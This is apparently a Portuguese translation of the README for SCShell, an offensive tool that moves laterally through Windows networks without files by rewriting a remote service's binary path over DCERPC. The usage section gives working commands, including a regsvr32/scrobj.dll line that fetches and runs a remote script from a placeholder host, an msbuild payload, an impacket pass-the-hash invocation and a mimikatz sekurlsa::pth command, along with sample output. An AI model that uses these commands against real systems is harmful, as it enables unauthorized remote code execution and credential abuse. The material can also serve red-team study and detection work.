
Ferramenta de movimento lateral sem arquivos que depende de ChangeServiceConfigA para executar comandos.
SCShell é uma ferramenta de movimento lateral sem arquivos que depende da ChangeServiceConfigA para executar comandos. A beleza desta ferramenta é que ela não realiza autenticação via SMB. Tudo é feito sobre DCERPC.
O utilitário pode ser usado remotamente SEM registrar um serviço ou criar um serviço. Também não precisa deixar nenhum arquivo no sistema remoto* (Depende da técnica usada para executar)
Em vez de criar um serviço, ele simplesmente abre remotamente um serviço e modifica o nome do caminho binário através da API ChangeServiceConfigA.
Em seguida, inicia o serviço.
Assim que a execução é concluída, o caminho binário do serviço é revertido para o original. O caminho do serviço original é extraído usando QueryServiceConfigA.
Tudo acontece sobre DCERPC, incluindo a autenticação.

A build atual está escrita em C, mas vou portá-la para C# e .
PowerShellUsage:
SCShell.exe target service payload domain username password
target pode ser definido como local para executar o payload localmente
Execução remota
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password
Recomendo usar C:\windows\system32\cmd.exe /c para garantir que o payload não seja morto quando o serviço parar. Você PRECISA usar o caminho completo.
Você também pode usar um payload msbuild
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj" . administrator Password
SCShell ***
Trying to connect to 192.168.197.131
Username was provided attempting to call LogonUserA
SC_HANDLE Manager 0x009ED250
Opening XblAuthManager
SC_HANDLE Service 0x009ED1B0
Service path was changed to C:\windows\system32\cmd.exe /C C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe C:\payload.csproj
Service was started.
Estou usando o XblAuthManager como alvo, que é o Serviço de Gerenciamento de Acessórios Xbox
scshell.py é uma implementação em python2 e 3 do SCShell. Usando o projeto impacket, pode ser facilmente usado para realizar o mesmo movimento lateral usando pass the hash.
Instalação
pip install impacket
Uso
python scshell.py DOMAIN/USER@target -hashes 00000000000000000000000000000000:ad9827fcd039eadde017568170abdecce
Impacket v0.9.20 - Copyright 2019 SecureAuth Corporation
[*] Command need to use FULL path. No command output.
SCShell>
Você pode usar o utilitário C para passar o hash. Por padrão, o token do processo atual será usado. Você pode definir o token do processo atual usando a abordagem padrão de pass the hash.
No sistema local
sekurlsa::pth /user:user /domain:domain /ntlm:hash /run:cmd.exe
Em seguida, execute o SCShell.exe dentro do cmd.exe recém-criado.
O código foi compilado no Windows usando o compilador GCC Mingw
Mr.Un1k0d3r RingZer0 Team
Tazz0 pelo apoio moral